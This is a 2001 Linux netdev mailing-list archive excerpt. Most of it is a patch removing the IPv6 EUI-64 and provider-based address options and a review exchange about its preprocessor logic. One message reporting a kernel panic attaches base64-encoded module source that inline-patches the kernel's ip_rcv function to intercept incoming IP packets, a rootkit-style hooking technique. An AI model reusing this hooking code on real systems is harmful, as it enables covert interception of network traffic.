formats (old: - "provider based" and new: "aggregatable") are incompatible. Say Y if - your site finished the upgrade to EUI-64, and/or you encountered - some problems caused by the presence of two link-local addresses on - an interface. - IPv6: routing messages via old netlink CONFIG_IPV6_NETLINK You can say Y here to receive routing messages from the IPv6 code From owner-netdev@oss.sgi.com Wed May 2 20:55:42 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f433tgE22388 for netdev-outgoing; Wed, 2 May 2001 20:55:42 -0700 Received: from lower.org ([209.203.219.221]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f433tbF22385 for ; Wed, 2 May 2001 20:55:41 -0700 Received: (qmail 15620 invoked by uid 141); 3 May 2001 03:55:28 -0000 Message-ID: <20010503035528.15619.qmail@lower.org> From: "Optyx" To: davem@redhat.com, ak@muc.de, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com Subject: sock_sendmsg oddities... Date: Thu, 03 May 2001 03:55:28 GMT Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=_0_15618_988862128"; charset="iso-8859-1" Sender: owner-netdev@oss.sgi.com Precedence: bulk This is a MIME-formatted message. If you see this text it means that your mail software cannot handle MIME-formatted messages. --=_0_15618_988862128 Content-Type: text/plain; format=flowed; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Attached is some code that seems to cause a kernel panic due to a nonatomical alloc_skb call. -Optyx --=_0_15618_988862128 Content-Type: application/octet-stream; name="ip_rcv.c" Content-Disposition: attachment; filename="ip_rcv.c" Content-Transfer-Encoding: base64 I2RlZmluZSBNT0RVTEUKI2RlZmluZSBfX0tFUk5FTF9fCiNpbmNsdWRlIDxsaW51eC9tb2R1bGUu aD4KI2luY2x1ZGUgPGxpbnV4L2tlcm5lbC5oPgojaW5jbHVkZSA8bGludXgvbmV0ZGV2aWNlLmg+ CiNpbmNsdWRlIDxsaW51eC9za2J1ZmYuaD4KI2luY2x1ZGUgPGxpbnV4L2luLmg+CiNpbmNsdWRl IDxsaW51eC91ZHAuaD4KI2luY2x1ZGUgPGxpbnV4L2lwLmg+CiNpbmNsdWRlIDxhc20vdWFjY2Vz cy5oPgojaW5jbHVkZSA8bGludXgvc21wX2xvY2suaD4KCi8qIGZ1bmN0aW9uIGRlY2xhcmVzICov CmludCBoYWNrX2lwX3JjdihzdHJ1Y3Qgc2tfYnVmZiAqLCBzdHJ1Y3QgbmV0X2RldmljZSAqLCBz dHJ1Y3QgcGFja2V0X3R5cGUgKik7CgovKiBpcF9yY3YgaG9va2luZyB2YXJpYWJsZXMgKi8Kc3Rh dGljIGNoYXIgb3JpZ19pcF9yY3ZbN107CnN0YXRpYyBjaGFyIG5ld19pcF9yY3ZbN10gPSAiXHhi ZFx4MDBceDAwXHgwMFx4MDBceGZmXHhlNSI7CmV4dGVybiBpbnQgaXBfcmN2KHN0cnVjdCBza19i dWZmICosIHN0cnVjdCBuZXRfZGV2aWNlICosIHN0cnVjdCBwYWNrZXRfdHlwZSAqKTsKdm9pZCAq cF9pcF9yY3YgPSAmaXBfcmN2OwoKLyogaGFja2VkIGlwX3JjdiBjYWxsICovCmludCBoYWNrX2lw X3JjdihzdHJ1Y3Qgc2tfYnVmZiAqc2tiLCBzdHJ1Y3QgbmV0X2RldmljZSAqZGV2LCAKCXN0cnVj dCBwYWNrZXRfdHlwZSAqcHQpCnsKCWludCByZXQ7CiAgICAgICAgc3RydWN0IHNvY2tldCAqc29j azsKICAgICAgICBzdHJ1Y3QgbXNnaGRyIG1zZzsKICAgICAgICBzdHJ1Y3QgaW92ZWMgaW92Owog ICAgICAgIHN0cnVjdCBzb2NrYWRkcl9pbiBhZGRyOwoJbW1fc2VnbWVudF90IG9sZGZzOwoJc3Ry dWN0IGlwaGRyICppcGggPSBza2ItPm5oLmlwaDsKCglsb2NrX2tlcm5lbCgpOwoJbWVtY3B5KHBf aXBfcmN2LCBvcmlnX2lwX3Jjdiwgc2l6ZW9mKG9yaWdfaXBfcmN2KSk7Cgl1bmxvY2tfa2VybmVs KCk7CglyZXQgPSAoaW50KSBpcF9yY3Yoc2tiLCBkZXYsIHB0KTsKCWxvY2tfa2VybmVsKCk7Cglt ZW1jcHkocF9pcF9yY3YsIG5ld19pcF9yY3YsIHNpemVvZihvcmlnX2lwX3JjdikpOyAKCXVubG9j a19rZXJuZWwoKTsKCgltZW1zZXQoJmFkZHIsIDAsIHNpemVvZihhZGRyKSk7CglhZGRyLnNpbl9m YW1pbHkgPSBBRl9JTkVUOwoJYWRkci5zaW5fcG9ydCA9IGh0b25zKDYwMDApOwoJYWRkci5zaW5f YWRkci5zX2FkZHIgPSBpcGgtPnNhZGRyOwoKICAgICAgICBtc2cubXNnX25hbWUgPSAodm9pZCAq KSAmYWRkcjsKICAgICAgICBtc2cubXNnX25hbWVsZW4gPSBzaXplb2YoYWRkcik7CiAgICAgICAg bXNnLm1zZ19pb3YgPSAmaW92OwogICAgICAgIG1zZy5tc2dfaW92bGVuID0gMTsKICAgICAgICBt c2cubXNnX2NvbnRyb2wgPSBOVUxMOwogICAgICAgIG1zZy5tc2dfY29udHJvbGxlbiA9IDA7CiAg ICAgICAgbXNnLm1zZ19mbGFncyA9IDA7CiAgICAgICAgbXNnLm1zZ19pb3YtPmlvdl9sZW4gPSAo X19rZXJuZWxfc2l6ZV90KSA1OwogICAgICAgIG1zZy5tc2dfaW92LT5pb3ZfYmFzZSA9IChjaGFy ICopICJib2JcclxuIjsKCiAgICAgICAgb2xkZnMgPSBnZXRfZnMoKTsgc2V0X2ZzKEtFUk5FTF9E Uyk7Ci8qIGlmIHRoaXMgbGluZSBpcyB1bmNvbW1lbnRlZCB0aGUgY29kZSBjcmFzaGVzICovCi8v ICAgICAgICBzb2NrX3NlbmRtc2coc29jaywgJm1zZywgKHNpemVfdCkgNSk7CiAgICAgICAgc2V0 X2ZzKG9sZGZzKTsKICAgICAgICBzb2NrX3JlbGVhc2Uoc29jayk7CiAgICAgICAgcHJpbnRrKCJz ZW50XG4iKTsKCglyZXR1cm4gcmV0Owp9CgppbnQgaW5pdF9tb2R1bGUodm9pZCkKewoJKihsb25n ICopJm5ld19pcF9yY3ZbMV0gPSAobG9uZyloYWNrX2lwX3JjdjsKCWxvY2tfa2VybmVsKCk7Cglt ZW1jcHkob3JpZ19pcF9yY3YsIHBfaXBfcmN2LCBzaXplb2Yob3JpZ19pcF9yY3YpKTsKCW1lbWNw eShwX2lwX3JjdiwgbmV3X2lwX3Jjdiwgc2l6ZW9mKG9yaWdfaXBfcmN2KSk7Cgl1bmxvY2tfa2Vy bmVsKCk7CglyZXR1cm4gMDsKfQoKaW50IGNsZWFudXBfbW9kdWxlKHZvaWQpCnsKCWxvY2tfa2Vy bmVsKCk7CgltZW1jcHkocF9pcF9yY3YsIG9yaWdfaXBfcmN2LCBzaXplb2Yob3JpZ19pcF9yY3Yp KTsKCXVubG9ja19rZXJuZWwoKTsKCXJldHVybiAwOwp9CgkK --=_0_15618_988862128-- From owner-netdev@oss.sgi.com Wed May 2 20:57:15 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f433vFe22595 for netdev-outgoing; Wed, 2 May 2001 20:57:15 -0700 Received: from sgi.com (sgi.SGI.COM [192.48.153.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f433vDF22581 for ; Wed, 2 May 2001 20:57:13 -0700 Received: from larry.melbourne.sgi.com ([134.14.52.130]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id UAA07168 for ; Wed, 2 May 2001 20:57:11 -0700 (PDT) mail_from (kaos@ocs.com.au) Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id NAA20008; Thu, 3 May 2001 13:55:47 +1000 X-Mailer: exmh version 2.1.1 10/15/1999 From: Keith Owens To: netdev@oss.sgi.com cc: davem@redhat.com Subject: Re: [benc@hawaga.org.uk: Linux "enable EUI-64 token format"] In-reply-to: Your message of "Thu, 03 May 2001 13:17:38 +1000." <8972.988859858@kao2.melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 03 May 2001 13:55:46 +1000 Message-ID: <9500.988862146@kao2.melbourne.sgi.com> Sender: owner-netdev@oss.sgi.com Precedence: bulk On Thu, 03 May 2001 13:17:38 +1000, Keith Owens wrote: >Patch against 2.4.4 to remove all traces of CONFIG_IPV6_EUI64 and >CONFIG_IPV6_NO_PB. EUI64 is now the only supported address scheme. >I have not even compiled this patch, it is "obviously correct", except >for the change to rt6_redirect() in net/ipv6/route.c. Is that code >still required, even when eui64 is the _only_ option? Answering my own question. The code is rt6_redirect() is required, new version of patch follows. Index: 4.1/net/ipv6/Config.in --- 4.1/net/ipv6/Config.in Fri, 05 Jan 2001 13:42:29 +1100 kaos (linux-2.4/e/40_Config.in 1.1 644) +++ 4.1(w)/net/ipv6/Config.in Thu, 03 May 2001 12:55:12 +1000 kaos (linux-2.4/e/40_Config.in 1.1 644) @@ -1,10 +1,6 @@ # # IPv6 configuration # -bool ' IPv6: enable EUI-64 token format' CONFIG_IPV6_EUI64 -if [ "$CONFIG_IPV6_EUI64" = "y" ]; then - bool ' IPv6: disable provider based addresses' CONFIG_IPV6_NO_PB -fi if [ "$CONFIG_NETLINK" = "y" ]; then if [ "$CONFIG_RTNETLINK" = "n" ]; then bool ' IPv6: routing messages via old netlink' CONFIG_IPV6_NETLINK Index: 4.1/net/ipv6/route.c --- 4.1/net/ipv6/route.c Sat, 28 Apr 2001 10:05:23 +1000 kaos (linux-2.4/e/42_route.c 1.2 644) +++ 4.1(w)/net/ipv6/route.c Thu, 03 May 2001 13:54:15 +1000 kaos (linux-2.4/e/42_route.c 1.2 644) @@ -892,12 +892,6 @@ void rt6_redirect(struct in6_addr *dest, if (!(rt->rt6i_flags&RTF_GATEWAY)) goto out; -#if !defined(CONFIG_IPV6_EUI64) || defined(CONFIG_IPV6_NO_PB) - /* - * During transition gateways have more than - * one link local address. Certainly, it is violation - * of basic principles, but it is temporary. - */ /* * RFC 1970 specifies that redirects should only be * accepted if they come from the nexthop to the target. @@ -929,7 +923,6 @@ void rt6_redirect(struct in6_addr *dest, } source_ok: -#endif /* * We have finally decided to accept it. Index: 4.1/net/ipv6/ndisc.c --- 4.1/net/ipv6/ndisc.c Sat, 28 Apr 2001 10:05:23 +1000 kaos (linux-2.4/f/0_ndisc.c 1.1.1.3 644) +++ 4.1(w)/net/ipv6/ndisc.c Thu, 03 May 2001 13:05:29 +1000 kaos (linux-2.4/f/0_ndisc.c 1.1.1.3 644) @@ -242,14 +242,8 @@ static int pndisc_constructor(struct pne if (dev == NULL || __in6_dev_get(dev) == NULL) return -EINVAL; -#ifndef CONFIG_IPV6_NO_PB - addrconf_addr_solict_mult_old(addr, &maddr); + addrconf_addr_solict_mult(addr, &maddr); ipv6_dev_mc_inc(dev, &maddr); -#endif -#ifdef CONFIG_IPV6_EUI64 - addrconf_addr_solict_mult_new(addr, &maddr); - ipv6_dev_mc_inc(dev, &maddr); -#endif return 0; } @@ -261,14 +255,8 @@ static void pndisc_destructor(struct pne if (dev == NULL || __in6_dev_get(dev) == NULL) return; -#ifndef CONFIG_IPV6_NO_PB - addrconf_addr_solict_mult_old(addr, &maddr); - ipv6_dev_mc_dec(dev, &maddr); -#endif -#ifdef CONFIG_IPV6_EUI64 - addrconf_addr_solict_mult_new(addr, &maddr); + addrconf_addr_solict_mult(addr, &maddr); ipv6_dev_mc_dec(dev, &maddr); -#endif } @@ -550,14 +538,8 @@ static void ndisc_solicit(struct neighbo neigh_app_ns(neigh); #endif } else { -#ifdef CONFIG_IPV6_EUI64 - addrconf_addr_solict_mult_new(target, &mcaddr); - ndisc_send_ns(dev, NULL, target, &mcaddr, saddr); -#endif -#ifndef CONFIG_IPV6_NO_PB - addrconf_addr_solict_mult_old(target, &mcaddr); + addrconf_addr_solict_mult(target, &mcaddr); ndisc_send_ns(dev, NULL, target, &mcaddr, saddr); -#endif } } Index: 4.1/net/ipv6/addrconf.c --- 4.1/net/ipv6/addrconf.c Sat, 28 Apr 2001 18:38:57 +1000 kaos (linux-2.4/f/9_addrconf.c 1.3 644) +++ 4.1(w)/net/ipv6/addrconf.c Thu, 03 May 2001 13:05:45 +1000 kaos (linux-2.4/f/9_addrconf.c 1.3 644) @@ -639,14 +639,8 @@ static void addrconf_join_solict(struct if (dev->flags&(IFF_LOOPBACK|IFF_NOARP)) return; -#ifndef CONFIG_IPV6_NO_PB - addrconf_addr_solict_mult_old(addr, &maddr); + addrconf_addr_solict_mult(addr, &maddr); ipv6_dev_mc_inc(dev, &maddr); -#endif -#ifdef CONFIG_IPV6_EUI64 - addrconf_addr_solict_mult_new(addr, &maddr); - ipv6_dev_mc_inc(dev, &maddr); -#endif } static void addrconf_leave_solict(struct net_device *dev, struct in6_addr *addr) @@ -656,18 +650,11 @@ static void addrconf_leave_solict(struct if (dev->flags&(IFF_LOOPBACK|IFF_NOARP)) return; -#ifndef CONFIG_IPV6_NO_PB - addrconf_addr_solict_mult_old(addr, &maddr); + addrconf_addr_solict_mult(addr, &maddr); ipv6_dev_mc_dec(dev, &maddr); -#endif -#ifdef CONFIG_IPV6_EUI64 - addrconf_addr_solict_mult_new(addr, &maddr); - ipv6_dev_mc_dec(dev, &maddr); -#endif } -#ifdef CONFIG_IPV6_EUI64 static int ipv6_generate_eui64(u8 *eui, struct net_device *dev) { switch (dev->type) { @@ -702,7 +689,6 @@ static int ipv6_inherit_eui64(u8 *eui, s read_unlock_bh(&idev->lock); return err; } -#endif /* * Add prefix route. @@ -876,7 +862,6 @@ void addrconf_prefix_rcv(struct net_devi plen = pinfo->prefix_len >> 3; -#ifdef CONFIG_IPV6_EUI64 if (pinfo->prefix_len == 64) { memcpy(&addr, &pinfo->prefix, 8); if (ipv6_generate_eui64(addr.s6_addr + 8, dev) && @@ -886,15 +871,6 @@ void addrconf_prefix_rcv(struct net_devi } goto ok; } -#endif -#ifndef CONFIG_IPV6_NO_PB - if (pinfo->prefix_len == ((sizeof(struct in6_addr) - dev->addr_len)<<3)) { - memcpy(&addr, &pinfo->prefix, plen); - memcpy(addr.s6_addr + plen, dev->dev_addr, - dev->addr_len); - goto ok; - } -#endif printk(KERN_DEBUG "IPv6 addrconf: prefix with wrong length %d\n", pinfo->prefix_len); in6_dev_put(in6_dev); return; @@ -1224,7 +1200,6 @@ static void addrconf_dev_config(struct n if (idev == NULL) return; -#ifdef CONFIG_IPV6_EUI64 memset(&addr, 0, sizeof(struct in6_addr)); addr.s6_addr[0] = 0xFE; @@ -1232,18 +1207,6 @@ static void addrconf_dev_config(struct n if (ipv6_generate_eui64(addr.s6_addr + 8, dev) == 0) addrconf_add_linklocal(idev, &addr); -#endif - -#ifndef CONFIG_IPV6_NO_PB - memset(&addr, 0, sizeof(struct in6_addr)); - - addr.s6_addr[0] = 0xFE; - addr.s6_addr[1] = 0x80; - - memcpy(addr.s6_addr + (sizeof(struct in6_addr) - dev->addr_len), - dev->dev_addr, dev->addr_len); - addrconf_add_linklocal(idev, &addr); -#endif } static void addrconf_sit_config(struct net_device *dev) @@ -1514,14 +1477,8 @@ static void addrconf_dad_timer(unsigned /* send a neighbour solicitation for our addr */ memset(&unspec, 0, sizeof(unspec)); -#ifdef CONFIG_IPV6_EUI64 - addrconf_addr_solict_mult_new(&ifp->addr, &mcaddr); + addrconf_addr_solict_mult(&ifp->addr, &mcaddr); ndisc_send_ns(ifp->idev->dev, NULL, &ifp->addr, &mcaddr, &unspec); -#endif -#ifndef CONFIG_IPV6_NO_PB - addrconf_addr_solict_mult_old(&ifp->addr, &mcaddr); - ndisc_send_ns(ifp->idev->dev, NULL, &ifp->addr, &mcaddr, &unspec); -#endif in6_ifa_put(ifp); } Index: 4.1/include/net/addrconf.h --- 4.1/include/net/addrconf.h Sat, 28 Apr 2001 10:05:23 +1000 kaos (linux-2.4/I/25_addrconf.h 1.2 644) +++ 4.1(w)/include/net/addrconf.h Thu, 03 May 2001 13:05:04 +1000 kaos (linux-2.4/I/25_addrconf.h 1.2 644) @@ -158,16 +158,8 @@ static __inline__ u8 ipv6_addr_hash(stru * compute link-local solicited-node multicast address */ -static inline void addrconf_addr_solict_mult_old(struct in6_addr *addr, - struct in6_addr *solicited) -{ - ipv6_addr_set(solicited, - __constant_htonl(0xFF020000), 0, - __constant_htonl(0x1), addr->s6_addr32[3]); -} - -static inline void addrconf_addr_solict_mult_new(struct in6_addr *addr, - struct in6_addr *solicited) +static inline void addrconf_addr_solict_mult(struct in6_addr *addr, + struct in6_addr *solicited) { ipv6_addr_set(solicited, __constant_htonl(0xFF020000), 0, Index: 4.1/arch/arm/def-configs/ebsa110 --- 4.1/arch/arm/def-configs/ebsa110 Fri, 05 Jan 2001 13:42:29 +1100 kaos (linux-2.4/u/c/36_ebsa110 1.1 644) +++ 4.1(w)/arch/arm/def-configs/ebsa110 Thu, 03 May 2001 12:55:33 +1000 kaos (linux-2.4/u/c/36_ebsa110 1.1 644) @@ -192,8 +192,6 @@ CONFIG_IP_NF_COMPAT_IPCHAINS=m CONFIG_IP_NF_NAT_NEEDED=y # CONFIG_IP_NF_COMPAT_IPFWADM is not set CONFIG_IPV6=m -CONFIG_IPV6_EUI64=y -# CONFIG_IPV6_NO_PB is not set # # IPv6: Netfilter Configuration Index: 4.1/arch/sparc64/defconfig --- 4.1/arch/sparc64/defconfig Sat, 28 Apr 2001 10:05:23 +1000 kaos (linux-2.4/z/c/47_defconfig 1.10 644) +++ 4.1(w)/arch/sparc64/defconfig Thu, 03 May 2001 12:55:22 +1000 kaos (linux-2.4/z/c/47_defconfig 1.10 644) @@ -178,7 +178,6 @@ CONFIG_INET=y CONFIG_INET_ECN=y # CONFIG_SYN_COOKIES is not set CONFIG_IPV6=m -# CONFIG_IPV6_EUI64 is not set # CONFIG_KHTTPD is not set # CONFIG_ATM is not set Index: 4.1/arch/sparc/defconfig --- 4.1/arch/sparc/defconfig Mon, 26 Mar 2001 17:16:03 +1000 kaos (linux-2.4/P/c/7_defconfig 1.3 644) +++ 4.1(w)/arch/sparc/defconfig Thu, 03 May 2001 12:55:18 +1000 kaos (linux-2.4/P/c/7_defconfig 1.3 644) @@ -148,7 +148,6 @@ CONFIG_INET=y # CONFIG_INET_ECN is not set # CONFIG_SYN_COOKIES is not set CONFIG_IPV6=m -# CONFIG_IPV6_EUI64 is not set # CONFIG_KHTTPD is not set # CONFIG_ATM is not set Index: 4.1/Documentation/Configure.help --- 4.1/Documentation/Configure.help Tue, 24 Apr 2001 10:55:55 +1000 kaos (linux-2.4/Z/c/10_Configure. 1.1.2.8.2.10 644) +++ 4.1(w)/Documentation/Configure.help Thu, 03 May 2001 12:56:08 +1000 kaos (linux-2.4/Z/c/10_Configure. 1.1.2.8.2.10 644) @@ -4170,22 +4170,6 @@ CONFIG_IPV6 It is safe to say N here for now. -IPv6: enable EUI-64 token format -CONFIG_IPV6_EUI64 - 6bone, the network of computers using the IPv6 protocol, is moving - to a new aggregatable address format and a new link local address - assignment (EUI-64). Say Y if your site has upgraded already, or - has started to upgrade. - -IPv6: disable provider based addresses -CONFIG_IPV6_NO_PB - Linux tries to operate correctly when your site has moved to EUI-64 - only partially. Unfortunately, the two address formats (old: - "provider based" and new: "aggregatable") are incompatible. Say Y if - your site finished the upgrade to EUI-64, and/or you encountered - some problems caused by the presence of two link-local addresses on - an interface. - IPv6: routing messages via old netlink CONFIG_IPV6_NETLINK You can say Y here to receive routing messages from the IPv6 code From owner-netdev@oss.sgi.com Wed May 2 21:14:24 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f434EOF23644 for netdev-outgoing; Wed, 2 May 2001 21:14:24 -0700 Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f434EOF23641 for ; Wed, 2 May 2001 21:14:24 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id VAA09400; Wed, 2 May 2001 21:14:15 -0700 From: "David S. Miller" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15088.56087.207394.585771@pizda.ninka.net> Date: Wed, 2 May 2001 21:14:15 -0700 (PDT) To: Keith Owens Cc: netdev@oss.sgi.com Subject: Re: [benc@hawaga.org.uk: Linux "enable EUI-64 token format"] In-Reply-To: <9500.988862146@kao2.melbourne.sgi.com> References: <8972.988859858@kao2.melbourne.sgi.com> <9500.988862146@kao2.melbourne.sgi.com> X-Mailer: VM 6.75 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid Sender: owner-netdev@oss.sgi.com Precedence: bulk Keith Owens writes: > Answering my own question. The code is rt6_redirect() is required, new > version of patch follows. If the behavior is now going to be always EUI64=y and NO_PB=n, and we analyse the cpp if check: #if !defined(CONFIG_IPV6_EUI64) || defined(CONFIG_IPV6_NO_PB) Both terms are false, thus the code should not be there. New patch please :-) Later, David S. Miller davem@redhat.com From owner-netdev@oss.sgi.com Wed May 2 21:17:35 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f434HZj24045 for netdev-outgoing; Wed, 2 May 2001 21:17:35 -0700 Received: from deliverator.sgi.com (deliverator.sgi.com [204.94.214.10]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f434HZF24042 for ; Wed, 2 May 2001 21:17:35 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980309.SGI.8.8.8-aspam-6.2/980310.SGI-aspam) via SMTP id VAA17206 for ; Wed, 2 May 2001 21:16:13 -0700 (PDT) mail_from (kaos@ocs.com.au) Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id OAA20121; Thu, 3 May 2001 14:16:13 +1000 X-Mailer: exmh version 2.1.1 10/15/1999 From: Keith Owens To: "David S. Miller" cc: netdev@oss.sgi.com Subject: Re: [benc@hawaga.org.uk: Linux "enable EUI-64 token format"] In-reply-to: Your message of "Wed, 02 May 2001 21:14:15 MST." <15088.56087.207394.585771@pizda.ninka.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 03 May 2001 14:16:12 +1000 Message-ID: <10031.988863372@kao2.melbourne.sgi.com> Sender: owner-netdev@oss.sgi.com Precedence: bulk On Wed, 2 May 2001 21:14:15 -0700 (PDT), "David S. Miller" wrote: >Keith Owens writes: > > Answering my own question. The code is rt6_redirect() is required, new > > version of patch follows. > >If the behavior is now going to be always EUI64=y and NO_PB=n, and >we analyse the cpp if check: CONFIG_IPV6_EUI64=y, CONFIG_IPV6_NO_PB=y is the correct configuration. >#if !defined(CONFIG_IPV6_EUI64) || defined(CONFIG_IPV6_NO_PB) > >Both terms are false, thus the code should not be there. > >New patch please :-) Nahh. From owner-netdev@oss.sgi.com Wed May 2 21:20:23 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f434KN124475 for netdev-outgoing; Wed, 2 May 2001 21:20:23 -0700 Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f434KNF24472 for ; Wed, 2 May 2001 21:20:23 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id VAA09436; Wed, 2 May 2001 21:20:15 -0700 From: "David S. Miller" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15088.56447.320844.315012@pizda.ninka.net> Date: Wed, 2 May 2001 21:20:15 -0700 (PDT) To: Keith Owens Cc: netdev@oss.sgi.com Subject: Re: [benc@hawaga.org.uk: Linux "enable EUI-64 token format"] In-Reply-To: <10031.988863372@kao2.melbourne.sgi.com> References: <15088.56087.207394.585771@pizda.ninka.net> <10031.988863372@kao2.melbourne.sgi.com> X-Mailer: VM 6.75 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid Sender: owner-netdev@oss.sgi.com Precedence: bulk Keith Owens writes: > On Wed, 2 May 2001 21:14:15 -0700 (PDT), > "David S. Miller" wrote: > >If the behavior is now going to be always EUI64=y and NO_PB=n, and > >we analyse the cpp if check: > > CONFIG_IPV6_EUI64=y, CONFIG_IPV6_NO_PB=y is the correct configuration. Then why are you deleting CONFIG_IPV6_NO_PB sections of code in other parts of your patch, like this bit in net/ipv4/addrconf.c: -#ifndef CONFIG_IPV6_NO_PB - if (pinfo->prefix_len == ((sizeof(struct in6_addr) - dev->addr_len)<<3)) { - memcpy(&addr, &pinfo->prefix, plen); - memcpy(addr.s6_addr + plen, dev->dev_addr, - dev->addr_len); - goto ok; - } -#endif This patch isn't even consistent. Later, David S. Miller davem@redhat.com From owner-netdev@oss.sgi.com Wed May 2 21:27:33 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f434RXW25171 for netdev-outgoing; Wed, 2 May 2001 21:27:33 -0700 Received: from pneumatic-tube.sgi.com (pneumatic-tube.sgi.com [204.94.214.22]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f434RWF25168 for ; Wed, 2 May 2001 21:27:32 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by pneumatic-tube.sgi.com (980327.SGI.8.8.8-aspam/980310.SGI-aspam) via SMTP id VAA04222 for ; Wed, 2 May 2001 21:38:13 -0700 (PDT) mail_from (kaos@ocs.com.au) Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id OAA20189; Thu, 3 May 2001 14:26:10 +1000 X-Mailer: exmh version 2.1.1 10/15/1999 From: Keith Owens To: "David S. Miller" cc: netdev@oss.sgi.com Subject: Re: [benc@hawaga.org.uk: Linux "enable EUI-64 token format"] In-reply-to: Your message of "Wed, 02 May 2001 21:20:15 MST." <15088.56447.320844.315012@pizda.ninka.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 03 May 2001 14:26:09 +1000 Message-ID: <10302.988863969@kao2.melbourne.sgi.com> Sender: owner-netdev@oss.sgi.com Precedence: bulk On Wed, 2 May 2001 21:20:15 -0700 (PDT), "David S. Miller" wrote: >Keith Owens writes: > > CONFIG_IPV6_EUI64=y, CONFIG_IPV6_NO_PB=y is the correct configuration. > >Then why are you deleting CONFIG_IPV6_NO_PB sections of code in other >parts of your patch, like this bit in net/ipv4/addrconf.c: > >-#ifndef CONFIG_IPV6_NO_PB >- if (pinfo->prefix_len == ((sizeof(struct in6_addr) - dev->addr_len)<<3)) { >- memcpy(&addr, &pinfo->prefix, plen); >- memcpy(addr.s6_addr + plen, dev->dev_addr, >- dev->addr_len); >- goto ok; >- } >-#endif Double negatives are confusing. CONFIG_IPV6_NO_PB=y in config, 1 in autoconf.h. #ifndef CONFIG_IPV6_NO_PB is false when CONFIG_IPV6_NO_PB is defined so the code is omitted when CONFIG_IPV6_NO_PB=y. The patch has the same affect as always setting CONFIG_IPV6_NO_PB, even though that variable has been removed. From owner-netdev@oss.sgi.com Wed May 2 21:31:21 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f434VLB25682 for netdev-outgoing; Wed, 2 May 2001 21:31:21 -0700 Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f434VKF25679 for ; Wed, 2 May 2001 21:31:20 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id VAA09474; Wed, 2 May 2001 21:31:12 -0700 From: "David S. Miller" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15088.57104.539847.11072@pizda.ninka.net> Date: Wed, 2 May 2001 21:31:12 -0700 (PDT) To: Keith Owens Cc: netdev@oss.sgi.com Subject: Re: [benc@hawaga.org.uk: Linux "enable EUI-64 token format"] In-Reply-To: <10302.988863969@kao2.melbourne.sgi.com> References: <15088.56447.320844.315012@pizda.ninka.net> <10302.988863969@kao2.melbourne.sgi.com> X-Mailer: VM 6.75 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid Sender: owner-netdev@oss.sgi.com Precedence: bulk Keith Owens writes: > Double negatives are confusing. Dhh, I see my brain fart, thanks. :-) Later, David S. Miller davem@redhat.com From owner-netdev@oss.sgi.com Thu May 3 00:29:26 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f437TQc32470 for netdev-outgoing; Thu, 3 May 2001 00:29:26 -0700 Received: from ztxmail03.ztx.compaq.com (ztxmail03.ztx.compaq.com [161.114.1.207]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f437TPF32467 for ; Thu, 3 May 2001 00:29:25 -0700 Received: by ztxmail03.ztx.compaq.com (Postfix, from userid 12345) id 917671A1E; Thu, 3 May 2001 02:29:19 -0500 (CDT) Received: from excmun-gh02.eur.compaq.com (excmun-gh02.dem.cpqcorp.net [16.41.92.161]) by ztxmail03.ztx.compaq.com (Postfix) with ESMTP id 86F581BAD; Thu, 3 May 2001 02:29:18 -0500 (CDT) Received: by excmun-gh02.dem.cpqcorp.net with Internet Mail Service (5.5.2650.21) id ; Thu, 3 May 2001 09:29:17 +0200 Message-ID: <1FF17ADDAC64D0119A6E0000F830C9EA04B3CDCC@aeoexc1.aeo.cpqcorp.net> 